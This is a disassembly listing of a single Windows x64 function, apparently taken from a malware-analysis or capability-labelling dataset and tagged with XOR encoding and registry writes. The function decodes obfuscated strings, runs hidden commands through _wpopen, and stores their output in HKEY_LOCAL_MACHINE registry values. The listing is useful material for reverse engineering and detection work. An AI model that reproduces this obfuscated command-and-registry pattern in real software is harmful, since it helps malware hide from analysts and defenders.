Function at 0x14009d850
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x688]
sub rsp, 0x770
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp + 0x640], rax
movups xmm0, xmmword [0x140172cd0]
xor r14d, r14d
movups xmm1, xmmword [0x140172ce0]
mov r8d, r14d
mov esi, dword [reloc.WS2_32.dll_accept]
mov eax, dword [0x140172d10]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x140172cf0]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x140172d00]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], eax
cmp esi, 2
jl 0x14009d9f1
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009d900
cmp r8d, 0x22
jge 0x14009da35
movsxd rax, r8d
lea r9, [rbp - 0x50]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x14009da00
movsd xmm0, qword [0x140172b40]
mov ecx, 0x44
movzx eax, word [reloc.WS2_32.dll_gethostbyname]
xor edx, edx
movsd qword [rbp + 8], xmm0
xor ax, 0x34
xor word [rbp + 0xa], 0x31
mov r8d, 0x200
xor word [rbp + 0xc], 0x32
xor word [rbp + 0xe], 0x33
mov word [rbp + 8], cx
lea rcx, [rbp + 0x240]
mov word [rbp + 0x10], ax
call fcn.14014a104
cmp word [0x1401724a2], r14w
lea rdx, [rbp + 0x40]
mov eax, dword [0x1401724a0]
mov r15d, WSAStartup
mov dword [rsp + 0x50], eax
lea rax, str._EVFFRTU
lea ecx, [r15 - 0x70]
je 0x14009db10
xor word [rsp + 0x52], 0x31
mov word [rsp + 0x50], r15w
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x14009dab2
jmp 0x14009db63
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x14009db10
movzx ecx, word [rax + 0x30]
mov r8d, r14d
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov word [rdx + 0x30], cx
cmp esi, 2
jl 0x14009dca8
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rbp + 0x40]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x98
jl 0x14009dbb1
cmp r8d, 0x99
jge 0x14009dcf8
movsxd rax, r8d
lea r9, [rbp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x99
jl 0x14009dcc0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
mov rbx, 0xffffffffffffffff
test rax, rax
je 0x14009de0d
mov r8, rax
lea rcx, [rbp + 0x240]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009de04
movzx eax, word [rbp + 0x240]
lea rcx, [rbp + 0x240]
test ax, ax
je 0x14009dd74
movabs rdx, 0x100002400
cmp ax, 0x20
ja 0x14009dd61
bt rdx, rax
jb 0x14009dd70
movzx eax, word [rcx + 2]
add rcx, 2
test ax, ax
jne 0x14009dd55
jmp 0x14009dd74
mov word [rcx], r14w
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009de04
lea rcx, [rbp + 0x240]
mov rax, rbx
nop dword [rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009ddc0
mov rcx, qword [rbp]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 8]
lea rax, [rbp + 0x240]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140172cd0]
mov r8d, r14d
movups xmm1, xmmword [0x140172ce0]
mov eax, dword [0x140172d10]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140172cf0]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140172d00]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009df71
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009de80
cmp r8d, 0x22
jge 0x14009dfb5
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x14009df80
cmp word [reloc.WS2_32.dll_gethostname], r14w
movups xmm0, xmmword [0x140172e20]
mov eax, dword [0x140172e30]
mov dword [rbp + 0x28], eax
movups xmmword [rbp + 0x18], xmm0
je 0x14009e009
xor word [rbp + 0x1a], 0x31
mov eax, 0x42
xor word [rbp + 0x1c], 0x32
xor word [rbp + 0x1e], 0x33
xor word [rbp + 0x20], 0x34
xor word [rbp + 0x22], 0x35
xor word [rbp + 0x24], 0x36
xor word [rbp + 0x26], 0x37
xor word [rbp + 0x28], 0x38
xor word [rbp + 0x2a], 0x39
mov word [rbp + 0x18], ax
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x200
call fcn.14014a104
cmp word [0x1401724a2], r14w
movups xmm0, xmmword [0x1401727c8]
mov eax, dword [0x1401724a0]
movups xmm1, xmmword [0x1401727d8]
mov dword [rsp + 0x50], eax
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x1401727e8]
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm0
je 0x14009e05b
xor word [rsp + 0x52], 0x31
mov word [rsp + 0x50], r15w
cmp esi, 2
jl 0x14009e179
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140178740]
mov edx, r14d
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x18
jl 0x14009e090
jmp 0x14009e1b5
lea r9, [rbp - 0x50]
mov r8d, r14d
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x18
jl 0x14009e180
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009e2ba
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rdi
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009e2b1
lea rcx, [rbp + 0x40]
mov rax, rbx
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009e204
lea rax, [rax*2 - 2]
cmp rax, 0x200
jae 0x14009f60c
mov qword [rsp + 0x40], r14
lea rdx, [rsp + 0x60]
mov word [rbp + rax + 0x40], r14w
xor r9d, r9d
lea rax, [rbp]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009e2b1
lea rcx, [rbp + 0x40]
mov rax, rbx
nop dword [rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009e270
mov rcx, qword [rbp]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 0x18]
lea rax, [rbp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140172cd0]
mov r8d, r14d
movups xmm1, xmmword [0x140172ce0]
mov eax, dword [0x140172d10]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140172cf0]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140172d00]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009e413
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009e322
cmp r8d, 0x22
jge 0x14009e455
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x14009e420
cmp word [0x14017286e], r14w
movups xmm7, xmmword [0x140172858]
movsd xmm0, qword [0x140172868]
movups xmmword [rbp + 0x18], xmm7
movsd qword [rbp + 0x28], xmm0
je 0x14009e5b5
mov r8d, r14d
cmp esi, 2
jl 0x14009e56e
movdqa xmm2, xmmword [0x140178380]
mov r8d, 8
movdqa xmm4, xmmword [0x140178740]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [str.000000001111111122222222333333337777777799999999]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401783b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm7
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x1401783a0]
xorps xmm3, xmm1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movq qword [rbp + 0x18], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401783b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x20]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp + 0x20], xmm3
movsxd rax, r8d
lea r9, [rbp + 0x18]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0xc
jl 0x14009e580
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x200
call fcn.14014a104
cmp word [0x1401724a2], r14w
movups xmm0, xmmword [0x140172f30]
movups xmm1, xmmword [0x140172f40]
mov eax, dword [0x1401724a0]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x140172f50]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x140172f60]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov dword [rsp + 0x50], eax
je 0x14009e612
xor word [rsp + 0x52], 0x31
mov word [rsp + 0x50], r15w
cmp esi, 2
jl 0x14009e739
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140178740]
mov edx, r14d
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x14009e650
jmp 0x14009e775
lea r9, [rbp - 0x50]
mov r8d, r14d
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x20
jl 0x14009e740
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009e87a
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rdi
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009e871
lea rcx, [rbp + 0x40]
mov rax, rbx
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009e7c4
lea rax, [rax*2 - 2]
cmp rax, 0x200
jae 0x14009f612
mov qword [rsp + 0x40], r14
lea rdx, [rsp + 0x60]
mov word [rbp + rax + 0x40], r14w
xor r9d, r9d
lea rax, [rbp]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009e871
lea rcx, [rbp + 0x40]
mov rax, rbx
nop dword [rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009e830
mov rcx, qword [rbp]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 0x18]
lea rax, [rbp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140172cd0]
mov r8d, r14d
movups xmm1, xmmword [0x140172ce0]
mov eax, dword [0x140172d10]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140172cf0]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140172d00]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009e9d3
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
